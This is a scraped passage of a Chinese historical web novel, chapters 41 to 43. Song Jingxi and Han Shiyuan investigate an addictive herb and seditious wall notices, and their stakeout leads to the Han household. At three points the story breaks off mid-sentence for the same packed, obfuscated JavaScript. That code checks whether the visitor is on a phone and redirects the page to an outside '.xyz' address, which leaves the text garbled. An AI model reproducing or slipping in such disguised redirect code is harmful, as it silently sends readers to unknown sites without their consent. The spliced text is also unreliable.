男子说这话时,脸色喜洋洋的,又有一丝骄傲。宋景熙心里感叹,这大哥和妻子感情真好,少见。他默默地擦完黑笠了,将帕子拧干了,还给男子,再次道:“多谢大哥。” 男子道:“不谢不谢。”接着大抵是看见帕子正中绣着的紫色花朵了,便指着这朵花很是骄傲地道:“这可是我老婆绣给我的喔,没看出来吧,她是个手很巧的绣娘喔!” 其实看出来了,但为了给大哥捧场,宋景熙故作惊讶地道:“原来是大哥的夫人绣的?我就说怎么这般好看,绣工当真是精湛,实在是漂亮。不过...这么珍重的帕子被我用来擦帽子,是不是有些暴敛天物了,会不会有点辜负了大哥夫人的心意......?” 男子再次摆手道:“这有什么?要是我老婆在这,肯定也会送你帕子擦一擦,莫担心哪!欸对了公子,你有没有老婆的喔?” 宋景熙啊了一声,还不知道大哥为什么这么问,但也诚实地道:“没有。” 男子是想着眼前这公子要是有老婆,那也就有人来接了,不必独自淋雨,但这公子居然没老婆,便怪道:“那好奇怪的喔。公子长得这么一表人才的,看穿着家世也不普通哇,不可能没有千金小姐喜欢的吧?” “......”宋景熙一时不知道该说什么,娶老婆?哪家的小姐喜欢他?要是放在十六岁之前,确实有,只不过现在他已经无人问津了。原因简单,仅仅是因为他名声不好,他可是拥有“宋家小疯子”和“流连群芳的浪荡子”双层名号的人。就算有哪家小姐因为觉得他长得好看什么的而想结交一番,回家问一问父母,立刻就被吓退了。就算不被吓退,小姐们的父母也不会同意的。 汉阳的世家们心中都有个(正向的)年轻子弟排行榜,同样也是结亲抢手度排行,与之相对的,自然就还有个臭名昭著排行榜。宋景熙只知道自己以前在这榜上排第三,现在不知道这排名是升了还是降了,不过无论哪种,还都是不同意义上的“进步”......总之,只要他在这排行榜上,他就不可能跟谁家小姐扯上姻缘。好在他本来也没打算成婚,正是因为“臭名昭著”的排名高,所以宋父宋母给他说亲时,往往会被拒之门外。如此说来,这排名倒是方便他了。 他略微有点腼腆地道:“其实,还真没有。” 男子诧异道:“真是不可思议喔!那公子没有喜欢的人吗?要是有喜欢的,千万 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14773789|157869||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 要捉住机会啊!” 宋景熙道:“......没有。”应该是没有,他没动心过。 男子道:“唉,这世上真心本就不多,找到属于自己的那份真心也就更难了。不过公子也不必气馁,缘分嘛,真心嘛,这些都是要等来的,不是求来的,求谁都不管用,求神拜佛更不管用,急不得嘛。老天爷让你有的时候,那人自然就来了!看看我,我都三十岁了才找到我老婆,很幸福的嘛哈哈哈。” 宋景熙微微一笑:“谢谢大哥开导,嗯...其实,我也不急。” 暴雨依旧如注。屋檐下,已成一道水帘。 隐隐间,檐下人看见水帘外有个人打伞而来,是位衣着朴素的女子,头发乌黑,梳得齐整。女子一只手叉腰,一只手撑着把旧旧的伞,定在他们面前。 宋景熙看到了,女子的肚子隆起来了一点,并不特别明显。 女子像是又恼怒又面含笑意地冲着男子大声道:“你还知道躲着啊!”说着,她撑伞走近了,伞脊破开雨帘,将男子女子一同圈在伞下。 “叫你带把伞你不带,现在好了,还得让我来找你,真该让老天爷再下大点,淋死你!” 男子放声笑道:“这可不行,我要是死了,孩子没爹怎么办啊。小孩可不能生下来就没爹在啊!再说我这不是知道你肯定会来找我的嘛!所以就在这乖乖等你来接我嘞!” 女子哼了声:“每回下雨都是我来接,真是太惯着你了!你就不怕我找不到你?” 男子嘿嘿道:“我卖货就经过这里,你知道的嘛。好嘛好嘛,我今天卖了不少货,带你去市集买些你喜欢的好不好?莫气啦......” 说着说着,两人已经走远了。宋景熙不知不觉看着两人走去,身体也侧向两人离去的方向,慢慢地又收回视线,莫名惆怅,手伸出檐接了点雨水,水冰冰凉凉的,手心冰冰凉凉的。 ......要是也有人能为他...... ......算了。 能为自己撑伞的,或者说,能让自己为其撑伞的,恐怕是不会有了。 刚走出十几步的男子想起落下那位公子了,便扭头一看,女子觉得奇怪,便也跟着男子往后看,只一眼,两人都不约而同笑了。 宋景熙还浑然不觉,玩了玩掌中的水,心道什么时候才能停雨啊。 这时,他发觉雨水没有再落在手掌上了。 同时,视野上有一块地方被挡住了,他先是抬眼看去。那是一把撑在他头上的伞。然后扭头看去,一张白皙俊美、带着浅淡笑意的脸就毫无准备地出现在他眼前。 韩时元。 宋景熙飞速眨了眨眼,惊异地道:“你,你怎么在这?” 韩时元轻声道:“下雨了,想起你没有伞,便来找你。” 宋景熙拍了拍心口,扬唇笑道:“谢谢你。” 韩时元抿了抿唇,没有说话。他的伞骨也破开雨帘,带着两人一起离开了檐下,往前走去。 那对夫妇恰好和他们走在同一条道上,一前一后地走着。雨势还大着,男子从女子手中接过伞撑在手中,一把伞撑两个人难免不能遮个完全,几乎没有犹豫,男子手中的伞很自然地倾向了女子一侧,自己露在外面的肩膀就任由风吹雨打。 后方的宋景熙和韩时元看得很清楚,没过多久男子的左肩湿了一大片。走着走着,有说有笑间,女子大抵是发现了男子肩上的湿痕,不知说了什么,掏出一只手帕,整齐地叠放在男子肩上,这样雨就落在手帕上了。男子哈哈一笑,也不知和女子说了什么,竟然让女子推了他一把。男子笑得更加高兴,自然而然地搂过女子的肩膀,一起依偎地走着。说说笑笑,好像这条长街上唯他和她而已。 宋景熙没听见这对夫妇说了什么,只是默默看着,只是忽然觉着,世上的真心果然是十分可贵的,更别说要两个人互相捧着一颗真心靠近了。他从前很少觉得这样罕见的事会发生在自己身边,因此也就更不会发生在自己身上,也从不期待发生。然而他这下不得不相信,世上就是会有人捧着真心互相走到一起。 又走了几步,宋景熙注意到自己和韩时元之间离得远了点,但自己竟然并未如何被雨淋湿。他不由得也朝韩时元的右肩看去。意料之中却又出乎意料,韩时元的右肩,也是一片深色的湿。 宋景熙忽然愣了愣。 “你......” 他的心,似乎被什么柔软的东西狠狠撞了一下,并不猛烈,余震却很绵长。 韩时元并不在意冰凉的雨水如何打湿他,也并未扫一眼自己被打湿的半截臂膀,而是温声笑了笑,朝宋景熙道:“伞太小了。” 宋景熙迅速地眨巴眨巴眼,然后迅速地移开眼,迅速道:“那我靠近点。”说完便真的挨近了些。挨近了,又不免去瞧韩时元的另一边肩头,雨下得斜,还是避免不了雨的侵袭,连他也不免沾上雨水。 他不动声色地在身上摸了摸,没有找到帕子,霎时便有些后悔,连帕子都没有。 后悔完了,又噔一下呆住了,他要帕子干什么?也学那名女子一样叠在韩时元的肩上吗?这样的行为太过亲密了啊...... 他兀自纠结着。前方的男女走到一处拐角,渐渐隐入了街巷房屋当中。 宋景熙的视线一直朝着那边,心里想着别的事情。他看不到,看不到身旁的韩时元,唇角始终噙着一抹淡笑。 暴雨还是挺给面子的,只气势昂扬地瓢泼了一阵,停了。 41. 黑手其一 曳扇台。 看起来寂静的样子,实际上前厅和正厅都灯火通明着。宋景熙照例和前厅的代理官员打了个招呼,便直奔正厅。他和韩时元刚走进去,便见李珘此刻正埋头在书案里,正在奋笔疾书着,似乎忙得不可开交。 一见来人,李珘像是见到了救命稻草,朝两人挥手催促:“可算等到你了,快过来!” 宋景熙刚走过去,李珘便直切主题地道:“你先前在服丧,不知道我们查案的情况,情况尤其复杂,我现在简单地和你捋一捋。我们将金哲抓来之后,上下拷问,他很快就吐露了消息,不仅承认了的确有收受贿赂的罪行,也承认了那解忧草是他几年前贩卖的东西......” 金哲的侄婿朴范,曾经也是个正常人,还算得上半个人物。其人除了好色好酒,还好各处游贾,觉得海东到处都是生意,所以常常边游玩边找各种机会做生意,要说朴范此人的确还是有能力,在他的经营下,金家曾经衰落的祖产金氏药铺居然重振门楣了。彼时金哲正走在升官仕途上,便因此将金氏药铺全权交给这个侄婿打理。 大概在三年前,金哲的侄婿朴范去了一个名为东郡的沿海城邑。在东郡,朴范遇上了一位姓赵的男子,赵姓男子是东郡郡守的儿子,平日游手好闲,和朴范有着一样的爱好,好色好酒好玩。两人一见如故,相谈甚欢恨见晚,很快就称兄道弟起来。就在某一日,两人都喝酒喝到十分尽兴之时,赵姓男子忽然神秘兮兮地告诉朴范,他有一物,可让人忘却身心痛苦,达到极乐之境。赵姓男子高兴地说:“这东西我从不轻易告诉别人,连家里伺候我的奴仆都不知道它。但如果是朴兄的话,你我这样投缘,像是上辈子的亲兄弟一样,不让你体会体会这种奇妙之物,实在是弟弟我的不是啊!” 朴范看着赵姓男子用指甲划开这个长相奇怪的植株,看着长得黑紫黑紫的叶肉里流出来乳白色的液体,看着赵姓男子将汁液滴入酒里请他品尝。虽然有些犹豫,但终究是好酒上了头,冲掉了理智,端起杯子闷了一口。很快,他就知道了在这玩意面前,酒色算个什么东西。 自此以后,朴范便对赵姓男子口中的这一名为“解忧草”的东西彻底着了迷。与此同时,朴范的经商头脑又开始旋转了,这等人间至妙,若能售卖出去,岂不是赚翻天?有了解忧草,他一定能成为海东第一商人! 可是无论朴范怎么劝说,赵姓男子都不为所动,最后甚至翻脸要让人赶走朴范。朴范一咬牙,做了个违背商人原则的事——虽然他很少遵守。 他不再提合作售卖解忧草的事,而是在赵姓男子面前讨好卖乖,两人终于回到相谈甚欢的时候,朴范趁机将赵姓男子灌醉,然后将他房间里藏着的解忧草全部卷走,赶夜逃回汉阳,并将这一番奇遇说与了大舅子金哲。 金哲了解侄婿比他还贪财好色,坏点子很多,办坏了事情的次数也是不少。所以尽管朴范如何吹嘘解忧草的奇效,金哲也并不亲自尝试,但之后不久,在见识到朴范被刮伤,一服用解忧草便完全丢失了疼痛的感觉之后,金哲也意识到解忧草的确是个能赚钱的好东西。 病痛病痛,做医药生意的最明白了,对很多病人来说,病不可怕,可怕的是痛,痛到不欲生。有了能丢失痛觉的东西,天下人一定会趋之若鹜的。 金哲决定试点销售。但他不敢在金氏药铺公开售卖,毕竟这解忧草是朴范偷来的,来路不正,要是东郡郡守找上门来砸招牌,那还是不太好。恰逢金氏药铺与存善堂交易第十年,金哲脑袋一转,决定趁着十周年这个名义给存善堂赠送两三株,他知道洪医官一定会先试药,不会贸然用在病人身上,届时他就能知道这解忧草除了“镇痛”以外,究竟还有没有什么别的风险了。 金哲做好了赵家人可能会来兴师问罪的准备,但没想到比赵家人先找上门来的是存善堂的洪医官,面对洪医官的质疑,“这东西是哪来的?”金哲只好临时编了个前因,好歹是将人送走了。也正是通过洪医官,金哲才知道这解忧草不是只有奇妙的一面,身有病痛之人服用后,短暂一时内能起到镇痛的作用,但一旦尝过之后,就不能断绝,想断掉,那就必须承受成倍的痛苦。如此一来,解忧草的功效就完全违背了金哲的初衷了,他看上的就是镇痛的效果,如果还会导致痛苦成倍的话,那些买了他药的人只会冲过来砸了他的招牌。 当然了,金哲承认了,自己不是没想过,既然断掉解忧草会加深痛苦,那么只要一直服用就不会了,更何况解忧草还会让服用之人上瘾,即便是只尝了一滴,也会欲罢不能,那这解忧草简直就是源源不断的生金泉,服用了解忧草的人都会成为金氏药铺的回头客。但金哲放弃了售卖解忧草的想法,因为他发现侄婿失踪了,不久后,赵家人找上了门。 原来赵家人真没有那么容易拿捏,早就在算计着金哲和朴范了。朴范从赵家长子房里偷走的解忧草被他毫无节制地服用干净后,整日心神恍惚间,忽然收到了东郡来的传信,信上赵家人称明白解忧草有多迷人,因此他们不计前嫌,希望继续和朴范做做酒友,一同体会解忧草的美妙。朴范没禁得住诱惑,满脑子只想着解忧草,没有解忧草,他的生活就宛如地狱一般,一被赵家人诱惑,便当即瞒着金哲去了东郡。 在东郡,赵家人果然不计前嫌,还大方地让朴范品尝混入解忧草汁液的美酒。朴范成日飘飘欲仙,乐不思家,以为自己交到了挚友,对赵家感激涕零,但他忘了,一切都已经在暗中标好了代价,在赵家人有意的诱导下,朴范说出了自己和大舅子金哲的许多秘密,原来他和金哲收受的贿赂还真不少,还雇凶杀过人! 赵家人掌控了金家的秘密,朴范失去了价值,赵家人放纵其服用过量的解忧草。第二天再推开房门时,朴范已经成了癫狂的疯子。除了喊着要喝酒,什么都不会说了——在赵郡守和赵家长子的暗语里,喝酒就意味着服用解忧草。 金哲在得知侄婿的遭遇后,更因自己身家性命的把柄握在赵家人手中,因此不得不向赵家人保证销毁手中的解忧草残本,并永生永世不再提及。但金哲没有将自己给过存善堂解忧草的事情说出来,所幸,存善堂也一直沉寂着。不过让金哲感到奇怪的是,本以为赵家人会藉此威胁利用他,结果并没有,反而是赵家人给了他一大笔钱,在此之后,赵家人便和金哲断了往来。 但世上没有不透风的墙。金哲更没想到,就是当时他的大意之举,替赵家人放过了存善堂,才让事情终于暴露了出来。 还没经历多少折磨,金哲便将他所知道的这些事情全盘托出。问起赵家人,他却只记得一个女人的模样。 正是这个女人,三年前找上了他,威胁他,还给了他一大笔钱。 这个女人是赵郡守的夫人。 曳扇台坐下有个地牢。地牢有两个入口,一个在曳扇台,一个在隔壁义禁府。不过在地牢里,曳扇台主的权力变得无限大,连义禁府最高长官判事想要进入也需要得到台主首肯。押在地牢里的犯人,台主想怎么审,除了国君,谁都干涉不了。金哲和朴范在地牢里待了才不过几天,从金哲招供那一刻,李 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14773790|157869||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 珘便派密使去东郡将赵家人全部抓了过来。 宋景熙不由得看向脚下。 李珘道:“金哲、朴范、和赵郡守,还有他几个小老婆和儿子,一共八人,都在地牢里。至于家仆,似乎并未参与到此案当中,对解忧草是毫不知情,因此只关押在隔壁义禁府。赵郡守这些人,从抓到他们开始,我们就一直在审了,而且没让义禁府插手。知道为什么吗?因为我不认为废世子案是赵家人的手笔,或者说,赵家人只是被利用的一个关节。” “我们溯源了赵郡守的籍贯,发现赵家祖祖辈辈都只是扎根在东郡一处小港村里的平民人家,赵郡守的父亲靠给出海经商的商人倒卖海产为生,一辈子都干着这个经营,这位老人只有一个儿子,就是赵郡守,而且还是个读书人,立志要考取功名,考进汉阳,兴旺家门,不过直到二十多岁也依旧榜上无名。后来,也就是在废世子案的几年后,赵郡守忽然高中,此后更是平步青云,如今达到这个境地,也的确算是逆天改命,飞黄腾达了。” 宋景熙听得十分认真,并且听懂了,于是道:“这么说来,的确不太可能是赵家人的手笔,废世子案时,赵郡守不过是个普普通通的平头百姓,绝对没有那个能力买通宫人打通关节来害您,但他很可能参与了废世子案?并且因为参与了,所以才得到了飞黄腾达的机会?” 李珘鼓掌道:“正是正是。所以我们对于赵家人的审讯,重点就在于让赵家人吐出背后的真凶——我们称之为‘黑手’的人,这位黑手到底是谁?但审讯的结果就是毫无结果。因为在赵家,除了家仆,姓赵的全都被解忧草摧残惨了,景熙你见过朴范,知道朴范是个什么疯模样,听不懂话说不清话,地牢里抓进来的赵家人也一样,居然都沾染上了解忧草,而且看状况,可能已经有很多年了,如今离了解忧草,全都已经疯了,如何审都审不出来,完全是废人了。” 宋景熙感到很惊讶:“全部??居然不是只有赵家长子在服用吗?既然如此,那同样服用了解忧草的赵郡守还能将东郡管理下来?” 韩时元道:“那个女人,赵郡守的夫人。据赵家家仆所说,无论是官衙还是宅中事务,一直都是郡守夫人在打理。” 李珘点头道:“这是个很有能力的女人。而且更加奇怪的是,赵家家仆虽然只有那么几个,但都是住在赵家伺候的,然而他们居然完全不知道解忧草的事情,只是觉得赵家人除了有些时候行为略显离奇以外,绝大多数时候都很正常。如果硬要说哪个赵家人没让他们觉得奇怪的,就只有郡守夫人。我们对比了她和赵郡守呈交过的册薄,两者字迹一致,在其它公文上也出现了大量她的私家字迹,这也就说明赵家是由她来辅助赵郡守的衙门事务。所以我们推测,郡守夫人应当是赵家人里唯一一位没有服用解忧草之人。” 宋景熙更疑惑了:“推测?她不在这里吗?”说着,他指了指脚下的地牢。 韩时元摇头道:“不在,密使们去捉人的时候,不慎让她逃跑了,至今还未能找到。” 李珘露出一点后悔的神色,道:“哎哟,早知道就派里时元领头去了,我就说那女人有手段吧,居然能逃得过我那么多得力干将的搜捕。到现在为止,都已经往东郡派了一批又一批,就为了抓她,还没抓到!也不知道派到东郡去的孩子们什么时候才传得来好消息唉......” 宋景熙道:“为什么不派时元去?” 李珘变得严肃起来,道:“我们遇上了一点别的事情,很重要,而这件事暂且比捉那个女人更重要。” 42. 黑手其二 他从桌案上堆得四处都是的书籍下抽出一张折了几番的薄纸,甩开摊在桌上。上面写了不过百字,但用意很明白,无非就一个意思:先王得位不正,不是天定之人,德行不够,却入主王宫,惹怒了上天,才会导致国祸不断,先是庆尚道连年干旱,再是王世子暴死,再继续下去,海东要完蛋啦! 得位不正。怎么个“不正”法? 不知是几个十年前,那时现在的国君甚至尚未出生。当时的世子已至而立之年,却突然因病身亡,英年早逝,是为孝献世子。孝献世子膝下并无子女,后继无人。巧了,王也就只有这么一个儿子,其余儿子没有一个活过二十岁的,于是王和大臣们将目光投向了一众宗室。 众大臣们心想这是个振兴家门的好机会,只要自己支持的宗室子弟成了世子,当上了下一任国君,那他们也能飞上枝头了。于是纷纷拉帮结派,你有你支持的,我有我支持的,可惜王对这些宗室一个都不满意。终于有一天,时任的兵曹判书对王说,很久之前被流放的王的兄弟齐城君有个儿子,虽然才十几岁,德行却十分出众。恰好齐城君又在几年前早早在流放之地病死了,只要将齐城君的这个儿子过继过来,好好教育一番,必能成为圣君。于是王便给齐城君这位兄弟翻案,洗脱罪名,又将其子迎回宫,改名过继到自己名下,不久后更是封为了世子。后来这世子就成了文祖,也即是先王。 话又说回去,当年满朝除了提议的兵曹判书为首的一众人,没有一个臣子接受的了。宗室子弟多如牛毛,哪轮得到一个流放罪人的儿子被过继过来当世子?就算平反脱罪了,那也不成!于是纷纷上奏抗议,然而王不听不理不从,谁想再多说一句,得先考虑家里有没有那么多脑袋够砍。这种雷霆手段,那些自诩为国为民的清官和士林派官员都受不了,觉得王肯定是老了糊涂了昏庸了,于是纷纷自请降职到地方做官,甚至直接解绶辞官,趁脑袋还没被砍,先溜了。 先王在当了几年不怎么服众的世子后,终于艰难地上位了。一朝君王一朝臣,新王上位,朝廷一换血,当初拥护他做世子的兵判等一众年轻勋旧派一下子飞上枝头,原本是和士林派分庭抗礼的,加上士林派纷纷气得辞官,勋旧派这下终于扬眉吐气,可以毫无压力地把政敌士林派踩在脚下碾来碾去了! 刚继位那会,先王的宝座也是风雨飘摇的很,好在有兵判的扶持,加之孝献世子的妹妹德平翁主及其夫婿宁城尉力排众议,大力支持,这宝座慢慢的也就坐稳当了。而这些事,根本不是什么王室秘辛,宋景熙不仅知道,还知道不少,因为他就是德平翁主和宁城尉的孙子。 而当年扶持文祖上位的兵判和宁城尉,一个叫韩丙建,一个叫宋泰日。前者是韩明吉的祖父,后者是宋景熙的祖父。 在扶持文祖上位这件事上,韩丙建和宋泰日算是两个大功臣,而且都出身勋旧派,还是年轻一派,早年也曾被誉为文祖的左右臂,只不过后来两人因为分歧渐大,愈行愈远。到文祖晚年,更是因为废世子案而彻底分道扬镳,几成仇家。结果后来世子李珘还是被废掉了,并且新上位的世子是韩丙建一党所支持的崇信大君,也就是现在的国君。 崇信大君登位没几年,这两个曾经志同道合,后来却分道扬镳的旧朝大臣在三个月内先后死去。 如今废世子案都过了二十多年,孝献世子甚至都死了快五十年了,现在居然有人说,孝献世子死得冤枉,文祖得位是窃取而来的?? 宋景熙都想笑,废世子案都还没解决,现在居然还来个孝献世子案,都过了五十年了,就算孝献世子死得真的冤,那当年的人都死得没剩了吧!怎么查?看来这贴反论的完全就是在捣乱! 不过,在他们眼里像是捣乱,在百官和百姓眼里就不这么简单了。 尤其是,文祖还未当上世子时,曾陷入过被怀疑毒杀孝献世子的风波之中。然而后来孝献世子之死被其父王亲自认定为病重过世,王甚至甩出了孝献世子生前在内医院的病案记录,证实了孝献世子早已罹患多种绝症,堵住了悠悠众口。 宋景熙举手道:“老师,我有一个问题想问。只敢向您问,只敢在这里问。” 李珘嘿道:“这个时候就毕恭毕敬起来了,问吧!” 宋景熙道:“世人皆知先王当上世子不仅是因为德才兼备品性出众,也是因为有着兵判和宁城尉两大功臣的协助。世人更皆知兵判和宁城尉之所以协助先王登位,是因为看中了先王的德行,这才决定推举先王。先王也曾说过,自己本无意王位,是两位功臣坚持认定他有王的气质。这是真的吗?” 李珘坦然地道:“你想问先王究竟是不是有意争夺世子之位?景熙啊,能问就是最好的,我就实话告诉你吧。先王他一生谨慎,从未表露过这些,我又怎知哪个是他的本意呢?不过要是问我的想法,我当然倾向于肯定的答案。过去已经证明,没有高尚的德行坐不上王位,没有登上王位的野心也坐不上王位,只拥有这两者之一的也坐不上王位,只有那些即拥有高尚的德行,又拥有对王位的野心之人才坐得上、坐得稳那个位置。兵判和宁城尉那样聪明一生的人,不会只是因为先王德才兼备而极尽所能地推举他。这样说,你明白了吗?” 宋景熙沉思片刻后,点头道:“我明白了。” 李珘又道:“因为有着野心,又不是直系血脉,所以先王对于任何质疑他的言论都过分谨慎,不过在位久后,质疑的声音也就渐渐销声匿迹了,如今突然死灰复燃,还是不得不重视起来。” “主上对于有人在质疑先王乃至他的正统感到相当担忧,好在反论只在六曹街那些衙门外墙上有贴,而且没贴上多久就被发现并尽快撕除了,也就是说城中百姓暂且不知道反论之事。为了不打草惊蛇,主上命我在服丧期间暗中调查,我这才不得不先派时元留在汉阳,去蹲守留意贴示反论之人,见 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14773791|157869||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到有嫌疑的,立刻抓了!” 宋景熙道:“抓到了吗?” 韩时元摇头道:“暂时没有。并且在此期间,其它官署的外墙上竟然又被贴上了写有反论的文书,连字迹也一模一样。” 宋景熙哈哈一笑:“能让你束手无策的人也是很少了,不过这贴反论的有这么厉害吗?居然,居然没抓到?” 李珘抢答道:“能将六曹衙门外墙贴遍还不被发现的,当然难抓了!” 韩时元苦笑一声,道:“倒也不是连人影都没找到,前日有名密使在其负责蹲守的街坊里看到了可疑的身影,并立刻唤来附近的密使抓捕,但很可惜,此人身手非常,在我们赶到之前便逃脱了追捕。” 李珘拍桌道:“那家伙是在义潭洞附近消失的,也不知道他往哪个地方逃去了,现在密使又不太够用,搞得我们即便想挨家挨户地搜也力不从心,所以只能辛苦时元这几日一直带着人重点关注那块地界。既然景熙你现在回来了,多一个人多一份力,那你们就两个一起去蹲守。记得那家伙要是再出现,必须抓住。他要是再逃,就只能直接封城搜捕了,但封城会使反论的事情也暴露出去,所以能直接抓住是最好的,尽量不要封城,知道了吗?” 李珘好不容易严肃一回,宋景熙也很给力地重重点头,一副不辱使命的样子。李珘又道:“还有,对于贴反论之人,能在那么多密使眼皮子底下,尤其还是在官署墙上贴反论,所以我们怀疑有朝廷官员参与此事。主上和义禁府斟酌了几日,列出了一份嫌疑官员的名单给我,也让我派密使潜入这些官员宅中搜查证据,像笔墨证据啊什么的,不过结果并不如意,都没搜查出什么线索来。” 宋景熙拿过李珘递来的册子一看,顿时惊讶道:“领议政?” 往后翻,一共六页,一页一名官员,都是勋旧派的老臣,官都做得不小。 他怀疑地道:“这个名单真的没问题吗?” 李珘道:“这可是主上和义禁府商议出来的。” 按理作为勋旧派的领议政是和被他们推上王位的文祖绑在一起的,现在写反论来否认文祖的正统性,岂非是搬起石头砸自己的脚?宋景熙还是不解地道:“怎么会是这些人?如若要查,怎么也是往士林派身上查吧。当初反对声浪最大的可是他们。” 李珘道:“你忘了?上次那逃跑的嫌犯正是在义潭洞消失的,这上面几个官员都是住在义潭洞的,所以我们才会在嫌犯消失的地方做做文章。我的意思是要是再遇见贴反论的家伙,最好当场就捉住他,就算捉不住让他再逃走了,千万要注意他往哪逃去了,又是在哪消失的,假使往这份嫌疑名单上的官员府上逃去了,说明这家官员有可能和嫌犯有勾结,必须重点关注。但也不能就此妄下结论,毕竟情况多变。”说着,看向韩时元,道:“时元你继续带头,届时看情况自行决定,明白了吗?” 两人一齐道:“明白。” 43. 黑手其三 几个夜晚过后。 夜黑风高,义潭洞。 蹲守任务很无聊,直到四五更了,整个义潭洞,不,应该说整个汉阳王城都静悄悄的,连声鸟叫都没有。 宋景熙哈欠连连,已经困得靠在隐蔽处打了好几个盹了,蹲守的确是个苦差事,绝大多数时候什么都不会发生,却还是必须时刻保持清醒。起初宋景熙还觉得能坚持,但连着好几个晚上这么坚持着,就算白日补了觉,也实在是令人心力交瘁。能做好这件差事的简直是怪物,他就觉得韩时元是个怪物,每次醒来,他都看见韩时元依旧谨慎地关注着义潭洞的动静,没有露出丝毫困意。 坚持了一会后,宋景熙又打了个哈欠,心道:难道他真的不用睡觉吗。想着想着,睡过去了。 又不知过了多久以后,一连串的脚步声从远处响起,尽管声音极其细微,但还是被韩时元听到了。他微微眯了眯眼,接着是一道人影,飞快地从他视野前奔了过去。 宋景熙感到肩膀被轻轻拍了一下,是韩时元,“有人。” 话音一落,韩时元已经朝那道人影消失的地方去了,宋景熙陡然转醒,也立刻追上去。 然而两人追了一会儿后,却怎么也捉不住那人。那道人影却如同鬼魅一般,时而消失时而出现,有两名同样蹲守在另一地界的密使也注意到情况,跟着一起过来捉人,四个人一起捉,又是包抄又是夹击的,一阵后,在一个十字巷口处,两两相互碰头,四双目互相扫视一圈,宋景熙恍然大悟道:“我们被耍了!” 韩时元嗯了一声,道:“他已经消失了,而我们却在绕路。” 一名密使道:“那怎么办?居然跟丢了!难道我们得发信号了吗,封锁这里?” 韩时元道:“暂且不可。”说罢,他轻拧眉心,似乎是听见了什么,忽然转身看向原先和宋景熙一起跑来的方向,沉声道:“那边有动静。” 宋景熙果断挥手道:“那就追!” 四人朝韩时元所指的方向跑去,果然很快便看到面前有个人鬼鬼祟祟地正往右走,似是做贼一般。这人似乎并未注意到有人在追他,只是小跑了一阵,便在一处宅子的门前停下了,推了一把门,但门并没有打开,男子低骂了一声,背对着他们,接着不知道在身上摸索什么。 几人也在隔了一点距离后缓缓停了下来,韩时元举臂伸出两根修长手指往前挥了挥,后面两名密使都背着造型精致小巧的角弓,立刻会意,当即取箭挽弓,指向那名鬼鬼祟祟的男子。 宋景熙看了眼韩时元方才做的手势,也明白了他的用意。要是近身没能将之生擒住,那也不能让他跑了,必须要有弓箭手同时在后方候着,一旦没能擒住,那就放箭,留个活口就是了。密使们正绷着手指和下巴,始终将箭尖对准这那人的四肢不至于死亡之处。宋景熙和韩时元则一边取出下了蒙药的布,一边悄无生息地靠近男子。 这名男子在身上摸索半天也没摸索出什么东西,于是气冲冲地拍了拍门,但是拍得并不重,并且压低声音喊道:“呀!人呢?吉叔!老吉!人呢?!” 这声音...宋景熙顿时浑身一定。这声音!就算压低声音了,他也听得出来,这不是韩明吉吗?! 这里是义潭洞,韩府就在义潭洞,难道眼前这宅邸...就是韩府! 见他突然停下来,韩时元朝他疑惑地眨了眨眼。宋景熙现在不方便说话,真是要把自己活生生急死了,心想韩时元肯定没认出来那是韩明吉,也没认出来这是韩府。贴反论的难道是韩明吉吗?他们不会跟错人了吧! 就在此时,那道门被从内而外打开了。为了避免被发现,宋景熙心一横,朝身后两名密使比了个藏起来的手势,又立即捉住韩时元的手臂,将他一起带到了墙角躲着。 几人又回到了暗处,而且还是偷听。这道门这么偏,看来是韩府某个不起眼的侧门。打开门的应该是个年纪颇大的男人,想必就是韩明吉口中的“吉叔”,声音很浑浊,也是压低了声音:“小少爷!您怎么才回来?” 韩明吉跺脚道:“就多玩了会!不是让你留着这道门吗?干嘛锁着!” 吉叔道:“大少爷说最近不太平,让我们全部上锁了,小少爷以后还是别想着半夜出去玩了吧,多危险哪!大少爷发现了又要责罚。” 韩明吉哼道:“谁管他,你也少做他的狗腿子,我才是你真主子!下次这门必须留着。”说罢,便往院内走了,边走边道:“对了,我爹呢?我给他带了点东西。” 吉叔也边走边道:“老爷还没回来,大少爷好像在招待客人,有些子事情...那位...老爷...犹豫......” 两人越走越远,后面的话渐渐听不清了。 暗处的韩时元微微眯了眯眼,眼底流过一丝狠戾,但他很快将这丝情绪压了下去,朝宋景熙眨眨眼道:“那是韩明吉?” 宋景熙点头,略微惊讶道:“原来你认出来了?怎么回事,你听见他们刚刚说的了么?” 韩时元摇头道:“不清楚他们说的是谁,很可疑。” 宋景熙再次点头:“的确很可疑,什么事情,什么犹豫?他们在谋划什么不可告人的东西吗?会不会和反论的事情有关?” 韩时元道:“有可能。嫌疑名单上,韩义亨是第一位。要进去一探究竟么?” 